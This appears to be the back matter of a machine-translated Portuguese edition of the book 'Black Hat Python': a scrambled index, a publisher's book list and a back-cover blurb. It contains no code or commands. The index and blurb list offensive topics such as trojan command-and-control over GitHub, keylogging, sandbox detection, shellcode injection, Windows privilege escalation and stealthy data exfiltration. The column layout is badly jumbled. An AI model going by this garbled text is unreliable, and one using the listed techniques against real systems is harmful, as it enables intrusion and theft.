Compatível com GitHub, 101– Classe de análise HTML, 72–73


colagem na lista de palavras,
109 configuração de
73 classe primária de força bruta,
conta, 102 construção,
71–72
105–108 configuração,
fluxo de solicitação,
104 criação de módulos,
70 testes, 74
103 funcionalidade de importação
de Solicitações GET
simples, 62
hacking , 107–108
melhorias e aprimoramentos usando classe Request , 62

para, 109 testes, 108–109

Índice 169

www.it-ebooks.info
Machine Translated by Google

ataques a aplicativos da web, mapeamento Tarefas de trojan do Windows, 111–122


contínuo de instalações de aplicativos da keylogging, 112–115
web de código aberto, detecção de sandbox, 118–122
biblioteca de 63 a 65 capturas de tela, 115–116
soquetes, 62 fuzzers de aplicativos da web, 78 a 87 execução de shellcode, 116–118
acessando a documentação do Burp, 78–81 Acesso
WingIDE, 4f
implementação de código para atender corrigindo dependências ausentes, 4
aos requisitos, 79–82 discussão geral, 3–4
extensão de carregamento, 83–84, 83f–84f inspecionando e modificando variáveis
fuzzer simples, 82–83 uso locais, 8, 8f
de extensão em ataques, 84–87, 85f–87f instalando, 4
abrindo arquivo Python em branco, 5f
Classe Win32_Process , 140–141, 141n configurando pontos de
módulo de segurança win32 , 142–143 interrupção, 5 configurando script para
Interface de dispositivo gráfico do Windows depuração, 6, 6f visualizando
(GDI), 115–116 rastreamento de pilha, 6 , 7f função wordlist_menu , 95–96
Escalonamento de privilégios do Windows, injeção Wuergler, Marcos, 139
de código 137–149, 147–149
instalação de serviço de exemplo, 138
instalação de bibliotecas, 138
monitoramento de processos, 139–141
testes, 141
com WMI, 139–141
privilégios de token, 141–143
recuperando automaticamente
privilégios habilitados, 142–143
saída e registro, 143 vitória na corrida
contra a execução de código, 144–
147 criação de monitor de
arquivo, 144–146 teste, 146–147

Índice 170

www.it-ebooks.info
Machine Translated by Google

Atualizações

Visite http:// www.nostarch.com/ blackhatpython para atualizações, erratas e outras informações.

Mais livros práticos de Sem StarchPress

Gray Hat Python Python Hacking, 2ª edição The Art of The IDA Pro Book, 2ª edição O guia não
Programming for Hackers Exploitation por jon oficial para o desmontador
and ReverseEngineers por erickson fevereiro mais popular do mundo, por Chris
justin seitz abril de 2008, 488 pp., c/cd, $ 49,95 isbn Eagle, julho de
de 2009, 216 pp., $ 39,95 isbn 978-1-59327-144-2 2011, 672 pp., $ 69,95 isbn
978-1-59327-192-3 978-1-59327-289-0

Metasploit The Android Security Internals Um guia Análise prática de malware


Penetration Tester's Guide , de
detalhado para a
O guia prático para
David Kennedy, Jim O'Gorman, Devon arquitetura de segurança do Dissecando software malicioso
Kearns e Matti Aharoni, julho de 2011, 328 Android por nikolay por Michael Sikorski e
Andrew Honig
pp., $ 49,95 isbn 978-1-59327-288-3 elenkov outubro de 2014, 432
pp., $ 49,95 isbn 978-1-59327-581-5 Fevereiro de 2012, 800 pp., $
59,95 isbn 978-1-59327-290-6

e-mail:
telefone: [email protected]

800.420.7240 ou 415.863.9900 rede:


www.nostarch.com

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

“A diferença entre script kiddies e profissionais


é a diferença entre simplesmente usar as
ferramentas de outras pessoas e escrever as suas próp
—Charlie Miller, do prefácio

Quando se trata de criar ferramentas de hacking poderosas Estenda a popular ferramenta de hacking da
e eficazes, Python é a linguagem preferida da maioria dos web Burp Suite
analistas de segurança. Mas como a mágica acontece?
Abuse da automação do Windows COM para
realizar um ataque man-in-the-browser
Em Black Hat Python, o mais recente de Justin Seitz (autor
Exfiltrar dados de uma rede de maneira mais
do best-seller Gray Hat Python), você explorará o lado
sorrateira
mais obscuro das capacidades do Python: escrever
sniffers de rede, manipular pacotes, infectar máquinas
Técnicas internas e desafios criativos mostram como
virtuais, criar trojans furtivos, e mais. Você aprenderá
estender os hacks e como escrever suas próprias façanhas.
como:

Quando se trata de segurança ofensiva, sua capacidade


Crie um comando e controle de trojan usando
de criar ferramentas poderosas em tempo real é
GitHub
indispensável. Aprenda como no Black Hat Python.

Detecte sandboxing e automatize tarefas comuns


de malware, como keylogging e captura de tela Sobre o autor
Justin Seitz é pesquisador sênior de segurança da
Aumente os privilégios do Windows com controle do
Immunity, Inc., onde passa seu tempo caçando bugs,
processo criativo
fazendo engenharia reversa, escrevendo exploits e
codificando Python. Ele é o autor de Gray Hat Python (No
Use truques ofensivos de análise forense de
Starch Press), o primeiro livro a cobrir Python para análise
memória para recuperar hashes de senha e injetar
shellcode em uma máquina virtual de segurança.

O MELHOR EM GEEK ENTERTAINMENT™


www.nostarch.com

US$ 34,95 (US$ 36,95 CDN) Arquivar: Computadores/Segurança

ISBN: 978-1-59327-590-7
53495

9 781593 275907 6 89145 75900 6


www.it-ebooks.info

Você também pode gostar